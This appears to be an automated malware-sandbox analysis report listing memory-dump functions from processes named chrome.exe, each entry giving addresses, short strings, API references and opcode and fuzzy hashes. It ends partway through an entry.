Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID: xL\H
API String ID: 0-2554787889
Opcode ID: dfec3eb58fc7c14c90e69cb5be34f9f0345276d39d98bba81e4532d70fc55930
Instruction ID: f0c3b809203b6b390e4c050a41545d596f506692d6ef8eea0b0ceddc5c72d031
Opcode Fuzzy Hash: dfec3eb58fc7c14c90e69cb5be34f9f0345276d39d98bba81e4532d70fc55930
Instruction Fuzzy Hash: 3AD2F7709196498FDB95EB1CC854BA9FBF1FF6A305F5481EAC009DB39ACA34AD40CB50

Function 00007FF7B53C1A46 Relevance: 2.1, Strings: 1, Instructions: 819COMMON

Download Yara Rule

Strings

bdm, xrefs: 00007FF7B53C1D2B

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID: bdm
API String ID: 0-2256565530
Opcode ID: 3718c956b380fffb42464dac34ef83c1faebfab5c4e24000c64b115ef47505e8
Instruction ID: 09bac57e749540ecb68aff1d6ea63c8d57158571adc1cd0c96fb8debc991d175
Opcode Fuzzy Hash: 3718c956b380fffb42464dac34ef83c1faebfab5c4e24000c64b115ef47505e8
Instruction Fuzzy Hash: B472C570D196498FDB55DB18C884BA9B7F1FFAA304F5482EAD00DEB35ACA34AD41CB50

Function 00007FF7B53C54A3 Relevance: 1.2, Instructions: 1226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6878de7e2dbc62a0075e4da214fc3c62785326e43c0933fe03c29c151db8207
Instruction ID: 294772213e87eaabe7916a7daac76ad7d3223f2c7cf4ad090598cb0a0c755312
Opcode Fuzzy Hash: c6878de7e2dbc62a0075e4da214fc3c62785326e43c0933fe03c29c151db8207
Instruction Fuzzy Hash: 6BA20670A196498FDB45DB2CC894BA9BBF1FF6A304F1485EAC00DDB35ACA34AD41CB51

Function 00007FF7B53C70D5 Relevance: 1.1, Instructions: 1122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45a70a5a875f2e189b62110d00a9e95b54ce5f3639e794c9a3840ccb7bf2f9f6
Instruction ID: 7bf9370d7e6c8ad64a37ce6ff4a2e1b2cf97aa6fde1ccc1c59dfeb0c5bf27ba1
Opcode Fuzzy Hash: 45a70a5a875f2e189b62110d00a9e95b54ce5f3639e794c9a3840ccb7bf2f9f6
Instruction Fuzzy Hash: 0182A83091D7898FD749EB2CC845AA8BBE0EF66304F5441FED449CB3ABDA746806C791

Function 00007FF7B53C1B0F Relevance: .6, Instructions: 641COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36980e6d2837d28c4f73d022f90f43febd22f4955ed6cd72c8e0a6cb3f07bd4e
Instruction ID: 312100de6d6956471e72304b83f383c57cfe018ceaeb38ae05c0df0899f75e24
Opcode Fuzzy Hash: 36980e6d2837d28c4f73d022f90f43febd22f4955ed6cd72c8e0a6cb3f07bd4e
Instruction Fuzzy Hash: 06424270D18A5E8FDB95DB18C884BA9B7F1FFA9304F5082E6D00DD7259DA34AE81CB50

Function 00007FF7B53C11D1 Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1068ed82503a2b430d83832f04b2511e676d10d0e09c663f45c06b3345918007
Instruction ID: 5825ffec56f1907acb71c0f091676c39479800138b8d76e9429d431abd922ced
Opcode Fuzzy Hash: 1068ed82503a2b430d83832f04b2511e676d10d0e09c663f45c06b3345918007
Instruction Fuzzy Hash: 17327070D1460A8FDB94DF5CC484AADB7F1FFA9304F6481AAD009E735ADA34AE41CB61

Function 000001E0AF450000 Relevance: 2.0, APIs: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 000001E0AF450136

Memory Dump Source

Source File: 00000010.00000002.2084905383.000001E0AF450000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E0AF450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1e0af450000_chrome.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: d5854f580d82542ee5f503f2d7e4e68ca7353a8cb7250c4585fa96e6edb84c27
Instruction ID: 8e9ee33385bacf139501d2eff09620afb5e478e7da4212a6d13cae7fed88ca5d
Opcode Fuzzy Hash: d5854f580d82542ee5f503f2d7e4e68ca7353a8cb7250c4585fa96e6edb84c27
Instruction Fuzzy Hash: 5AF1C674508A498FEF95EF2CC498B943BE0FB69301F0845BADC4DCB29ADA74D884CB51

Function 00007FF7B53C76AE Relevance: 1.5, Strings: 1, Instructions: 294
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j, xrefs: 00007FF7B53C7798

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-1969308364
Opcode ID: 25b0d4f0fd23e12eb256b827db4193ddfb09542f2db42027a35de96676488d29
Instruction ID: 1a355e88a3e2deeff13896aedac1065512fb810f64713448c83a4dd785021a2b
Opcode Fuzzy Hash: 25b0d4f0fd23e12eb256b827db4193ddfb09542f2db42027a35de96676488d29
Instruction Fuzzy Hash: 6BB10630A18A098FDB59EB1CC844BA9B7E1EF66304F5081BED50DC73AADE74AC45CB50

Function 00007FF7B53C1981 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2102552968.00007FF7B53C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7b53c0000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36f176fc4247a9150b46c651ce406f8b33954619c757e7985964eea8e09b071
Instruction ID: 8c9354767aea8a50aa4cec93cd0d2b161ab3fbaab8d1c6e5d720175e9bc7b098
Opcode Fuzzy Hash: e36f176fc4247a9150b46c651ce406f8b33954619c757e7985964eea8e09b071
Instruction Fuzzy Hash: 23D18F70D18A5D8FDB95EB1CC884B99B7F1FFA9310F5481E6D00CD725ADA34AA81CB50

Analysis Process: chrome.exePID: 7412, Parent PID: 4216COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF7B53D70DA Relevance: 4.5, APIs: 1, Strings: 1, Instructions: 975
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jNw6, xrefs: 00007FF7B53D7A20

Memory Dump Source

Source File: 00000011.00000002.2152129781.00007FF7B53D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff7b53d0000_chrome.jbxd

Similarity

API ID:
String ID: jNw6
API String ID: 0-2686390809
Opcode ID: 8e1dc223a95acc0787c3d78d7b6df1f2f30e93ba30855cf7074e523966f4d431
Instruction ID: bb239f01f6431ec6fe6358d878c255b9496d185f63bb5e3e22327ec15bec03b3
Opcode Fuzzy Hash: 8e1dc223a95acc0787c3d78d7b6df1f2f30e93ba30855cf7074e523966f4d431
Instruction Fuzzy Hash: 8362783091D6894FD749EB6C8845AE9BBF0EF66314F5402FEC089CB2DBDA386806C751

Function 00007FF7B53D7C21 Relevance: 1.6, APIs: 1, Instructions: 140
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.COMBASE ref: 00007FF7B53D7D0E

Memory Dump Source

Source File: 00000011.00000002.2152129781.00007FF7B53D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B53D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff7b53d0000_chrome.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: e5936e24b463af8cdd9a14586cb3fa7530f508b91df4d5a2109481088e558dd6
Instruction ID: afefeed0261bdcaf8b970127e7cf1eac5d2254b1768fe8b0643db2448ed6082b
Opcode Fuzzy Hash: e5936e24b463af8cdd9a14586cb3fa7530f508b91df4d5a2109481088e558dd6
Instruction Fuzzy Hash: 5641913091CB488FDB58DB5CD8467A97BF1EB9A321F0442AFD049D3296CB756845CB82

Analysis Process: chrome.exePID: 7448, Parent PID: 4216COMMON

Executed Functions

Function 00007FF7B5400DC7 Relevance: 11.1, Strings: 8, Instructions: 1106COMMON

Download Yara Rule

Strings

$C, xrefs: 00007FF7B5400FE4
jN, xrefs: 00007FF7B5401712
$C, xrefs: 00007FF7B54014ED
jN, xrefs: 00007FF7B5400F52
YZF|, xrefs: 00007FF7B5401324
jN, xrefs: 00007FF7B540138A
,N1o, xrefs: 00007FF7B5400F3E
jN, xrefs: 00007FF7B540108C

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: $C$$C$,N1o$YZF|$jN$jN$jN$jN
API String ID: 0-2884510377
Opcode ID: 5ec29a299426a77560d792d518a884e7b95cc361972ebc466085377377612f8b
Instruction ID: 13c6837dcf821fea654132e26dbcf0498863eb437060fc156b9560bfcb7eeebf
Opcode Fuzzy Hash: 5ec29a299426a77560d792d518a884e7b95cc361972ebc466085377377612f8b
Instruction Fuzzy Hash: D6A25B70D0864A8FDB55DB6CC8406EDBBF1FF66310F6841B9C009DB29ADA38AD41CB51

Function 00007FF7B5404A0D Relevance: 6.7, Strings: 5, Instructions: 494COMMON

Download Yara Rule

Strings

$C, xrefs: 00007FF7B5404B36
jN, xrefs: 00007FF7B5404A8B
jN, xrefs: 00007FF7B5404BC7
$C, xrefs: 00007FF7B5404B61
_:, xrefs: 00007FF7B5404C55

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: $C$$C$_:$jN$jN
API String ID: 0-166494100
Opcode ID: 8d90f7849d15f2cc7b90fa42971736cf68ef3431d600a553847c38714d38272b
Instruction ID: 4fee530cd4fee92591b23a4a118cbdd3d742ec0985c0045672a23d145e129c22
Opcode Fuzzy Hash: 8d90f7849d15f2cc7b90fa42971736cf68ef3431d600a553847c38714d38272b
Instruction Fuzzy Hash: E7123370E0D6858FDB51EB6CC8556A9BBF1EF5A310F6845FAC049CB29BDA389C01CB50

Function 00007FF7B54070DA Relevance: 2.2, Strings: 1, Instructions: 955COMMON

Download Yara Rule

Strings

jN, xrefs: 00007FF7B5407A20

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: jN
API String ID: 0-3734185776
Opcode ID: c20b49242d200160962be5f5e1b110d56ab008d1ef9922bb34a277bb776c0988
Instruction ID: f501324e3730cb093e2ecc52433a69b09e26ceb59a34b464db1dec1e94a97fd6
Opcode Fuzzy Hash: c20b49242d200160962be5f5e1b110d56ab008d1ef9922bb34a277bb776c0988
Instruction Fuzzy Hash: C8628B3090D6894FD745EB6CC8456E9BBF0EF66320F6841FEC049CB1ABDA786846C752

Function 00007FF7B54039ED Relevance: 1.8, Strings: 1, Instructions: 501COMMON

Download Yara Rule

Strings

_:, xrefs: 00007FF7B5403B28

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: _:
API String ID: 0-194612753
Opcode ID: e74c82e1c0c23bc8636a4541712a505f1942f04ea5a9863044fa53fb14c31e84
Instruction ID: 8bb68d01017dcdd4a7397724ca3acde50a80770755884a88138677d227d43e02
Opcode Fuzzy Hash: e74c82e1c0c23bc8636a4541712a505f1942f04ea5a9863044fa53fb14c31e84
Instruction Fuzzy Hash: 14021570A0DA894FDB85EB7888546E9BBF1EF5A310F5841FEC049DB29BDA385C01CB51

Function 00007FF7B5404D51 Relevance: 1.7, Strings: 1, Instructions: 496COMMON

Download Yara Rule

Strings

jN, xrefs: 00007FF7B5404EF1

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: jN
API String ID: 0-3734185776
Opcode ID: 7b203fe506c7ff58b956043821dca5cca70b202a3ba993e4f724ea5fc506d667
Instruction ID: 5a8d8f17ddb77fd23033cc139ab8619010aade2b7c358f8b71994d8710253666
Opcode Fuzzy Hash: 7b203fe506c7ff58b956043821dca5cca70b202a3ba993e4f724ea5fc506d667
Instruction Fuzzy Hash: 791225709096898FDB41EB7CC8556ADBBF0EF56310F1801FAD049DB29BDA38AD40CB51

Function 00007FF7B54045CE Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

xL\H, xrefs: 00007FF7B54045CE

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: xL\H
API String ID: 0-2554787889
Opcode ID: 83a54ea60251f676e80eb06b9ffd555cad602020894c1c28626370c6cb4a5381
Instruction ID: 1fc5b6e128397caa2442994f762208dcd51faffbba436abe065ac16e88549d8e
Opcode Fuzzy Hash: 83a54ea60251f676e80eb06b9ffd555cad602020894c1c28626370c6cb4a5381
Instruction Fuzzy Hash: 44A13771A0D7854FD786EB3C88146A9BBE1EF56310B4806FED04ECB29BDA389C058751

Function 00007FF7B54076E2 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

j, xrefs: 00007FF7B5407798

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: j
API String ID: 0-1969308364
Opcode ID: d95d27f0a720cf18b5cf4ca941daf521433f7de949e3c7aadfbd79cfd0cece41
Instruction ID: cb151d5a9421a15e43cafc17d76a33c69a73d98edef0f31a77a5562839c10f64
Opcode Fuzzy Hash: d95d27f0a720cf18b5cf4ca941daf521433f7de949e3c7aadfbd79cfd0cece41
Instruction Fuzzy Hash: 90A10670A096488FDB45EB68C845B99BBF0EF66310F6441FEC04DCB2ABDA346845CB51

Function 00007FF7B5405733 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

jN, xrefs: 00007FF7B54057D3

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID: jN
API String ID: 0-3734185776
Opcode ID: 6cf7b801d51f34e73c84cda342bec6c3ffaead2c7eda95753d299939c2fa6e44
Instruction ID: cbb7fd31b77766ca2f23a4c58c9ce563149322097d260445a924e06d9cf58d34
Opcode Fuzzy Hash: 6cf7b801d51f34e73c84cda342bec6c3ffaead2c7eda95753d299939c2fa6e44
Instruction Fuzzy Hash: B88105B1D0964A8FD745EB7CC8456ADBBF0EF16310F6801BAC049DB29BE63C9941CB61

Function 00007FF7B5403E32 Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff1af9b42ad5eb365729a2701ed8ae876240079bce7cbfc8ece73b609e9064a
Instruction ID: 3841a56eadbc4f5bbe048887400366ba882e3ef1371e59d07a0beabcddcd052b
Opcode Fuzzy Hash: dff1af9b42ad5eb365729a2701ed8ae876240079bce7cbfc8ece73b609e9064a
Instruction Fuzzy Hash: 26F14470E0D6858FDB45EB3C88546AEBBF1EF56310F5841FAD049DB29BDA389C018B51

Function 00007FF7B5404804 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c7aa3b075ff35c8b8aed7aaa6fc4157468b6fda77b860ecb597e1958e12bcc
Instruction ID: 52593179904c2057fc6204f41c9615e906a2ecb9a183899748867cc33eefb469
Opcode Fuzzy Hash: 99c7aa3b075ff35c8b8aed7aaa6fc4157468b6fda77b860ecb597e1958e12bcc
Instruction Fuzzy Hash: 08E10970A0DA894FD786EB7C8854AA9BBF1FF56310F4805EDD049CB29BDA389C45CB50

Function 00007FF7B54043B6 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c703d848207957e3a85375879043bd68511cad96926637ffc75bf63910f1031
Instruction ID: bbaa2659c6e6887732461a9f0eb1b75c9437c93572855af8dcabaca54755b514
Opcode Fuzzy Hash: 2c703d848207957e3a85375879043bd68511cad96926637ffc75bf63910f1031
Instruction Fuzzy Hash: 9AE14970A0DA854FD746EB3C88546A9BBE1FF96310F5846FEC049CB29BDA389C41C790

Function 00007FF7B5403B77 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 990443f98b8245d755273950f969de2abe39cc7581c9fb48c95f1e1fe614c147
Instruction ID: 6de34ee9f5a9c94c2029724d614d04169bbfc89a510f3abf86e64c92f60118d4
Opcode Fuzzy Hash: 990443f98b8245d755273950f969de2abe39cc7581c9fb48c95f1e1fe614c147
Instruction Fuzzy Hash: E9E1F570A0D7898FDB95DB2C8854AD9BBF1FF9A310F5442EAC04DDB25ADA389D41CB40

Function 00007FF7B5404729 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4878750cd4de649ed625006a03fee113fedde7ef655ef2dfc8b89475276c9eb
Instruction ID: e7d79fa0e60d51018ab7bfd63a2af3c19a1fe7392f2edf4142476a5c511bb6bf
Opcode Fuzzy Hash: b4878750cd4de649ed625006a03fee113fedde7ef655ef2dfc8b89475276c9eb
Instruction Fuzzy Hash: 61B12670A0DB854FD746EB7C88256A9BBE1EF56310B4805FED08ACB29BDA389C05C751

Function 00007FF7B5404129 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0923a4fe1541a38252f0bb3efccec4cd3919df39b01e70daee4955951878064f
Instruction ID: f55f7057ff9cc4895c71d687ea69a7cfcc829a417bf71e6fa59d94563aa6f695
Opcode Fuzzy Hash: 0923a4fe1541a38252f0bb3efccec4cd3919df39b01e70daee4955951878064f
Instruction Fuzzy Hash: E1B12770A0D7854FDB56EB3C88146A9BBE1EF5A310F5842FEC04DCB29BDA389C458B50

Function 00007FF7B540465A Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733d9e4827f4e01388e7cf9f39200459e4f14053dc4ed21e9f01d1643fb1f0b5
Instruction ID: 654ea186d30f7a1ee5f0471036c80e12e5288b0363149bedba356ce1174fa790
Opcode Fuzzy Hash: 733d9e4827f4e01388e7cf9f39200459e4f14053dc4ed21e9f01d1643fb1f0b5
Instruction Fuzzy Hash: FAB14670A0D7854FD786EB3C88156A9BBE1EF56310B4846FED08DCB29BDA389C05C791

Function 00007FF7B54042F3 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c381b45cf2d2b90de29acfc0f7bd1c5389499b53509c94c4882bc0ec29902e3
Instruction ID: e3ab0041b76a3badf4f788d1b061588757c78345f949e7ea3b30be59f4eeca9a
Opcode Fuzzy Hash: 1c381b45cf2d2b90de29acfc0f7bd1c5389499b53509c94c4882bc0ec29902e3
Instruction Fuzzy Hash: 8DA12470A0D7854FD746EB3C88546A9BBE1EF96310F5806FED08ECB29BDA389C058751

Function 00007FF7B5404254 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0821778fce5cb20ad7dc87961661106464b68d917e96b3371fa23e75216862a0
Instruction ID: 91d3d818689258d2ba81865c9ea8ad3f55cf4d82ab77ae3c476bc6aa7d18aa06
Opcode Fuzzy Hash: 0821778fce5cb20ad7dc87961661106464b68d917e96b3371fa23e75216862a0
Instruction Fuzzy Hash: F7A13470A0D7854FD786EB7C88146A9BBE1EF56310B4842FED08ECB29BDA389C058751

Function 00007FF7B5403DA7 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d414f525c36bf9806c5a0ec88bcf02775804e4fbe172242510684c2f980f2091
Instruction ID: 4e3ea1e9321053f9dad366305cc57ccb5aca76ff792f879399eabfc98e5c009a
Opcode Fuzzy Hash: d414f525c36bf9806c5a0ec88bcf02775804e4fbe172242510684c2f980f2091
Instruction Fuzzy Hash: CDA13671A0D7854FD746EB7C88256A9BFE1EF56310B4801FED08ECB29BDA289C05C751

Function 00007FF7B54076AE Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8b0dc3f1ac8e7ec671bba1c7677d87e10905084ff18a92e10f984d294b8ade
Instruction ID: 4a6fc1053d0cd533b993abfba819ce29db74db5c27ee5a11d4b77b9c099ba971
Opcode Fuzzy Hash: ed8b0dc3f1ac8e7ec671bba1c7677d87e10905084ff18a92e10f984d294b8ade
Instruction Fuzzy Hash: EF517A7190E7C14FE746EB78885A5957FE0DF23210FA801FEC585CB1EBE9686849C362

Function 00007FF7B5405916 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461c4edb7eceeb3569d7616081b9ebe8fa69ee81e30a833dce484f4498328811
Instruction ID: 0174216d19ef398b5674e9a4c26efd7e7011153fba2b412bbe848a681708b3da
Opcode Fuzzy Hash: 461c4edb7eceeb3569d7616081b9ebe8fa69ee81e30a833dce484f4498328811
Instruction Fuzzy Hash: 0051C670A08A4D8FDB95EB78C454AE9BBF1FF59310F1441EAC04DDB25ADA389D82CB50

Function 00007FF7B5405D47 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bbf8e42f9be7c60021c6ca5c0b05d50a46c95ec402d733c09d2a3b8bbc471a
Instruction ID: 02e2f6ad61c58bf7e52a9491ce4ae719a1e439db8aa9d7eff5547fcec6f9fff8
Opcode Fuzzy Hash: 69bbf8e42f9be7c60021c6ca5c0b05d50a46c95ec402d733c09d2a3b8bbc471a
Instruction Fuzzy Hash: 4051D471A09A498FD786EB38C8456A97BE0FF56310F5401FAD049DB2A7DA389D41CB11

Function 00007FF7B5405C94 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e31b15c7194a5597739948a5032e59dba348893b1f3d24b94d3400a15d145f1
Instruction ID: 164bd9b3d3996d3be2334364e8c57fd91596beafe602072ef4a55fec24434f41
Opcode Fuzzy Hash: 8e31b15c7194a5597739948a5032e59dba348893b1f3d24b94d3400a15d145f1
Instruction Fuzzy Hash: 56513970A08A494FD785EB3CC8556A9BBE1FF56310F5441F9C04DDB2A7DA389C82CB40

Function 00007FF7B5405BEC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2145398503.00007FF7B5400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B5400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b5400000_chrome.jbxd

Similarity

API ID:
String ID:
API String ID:
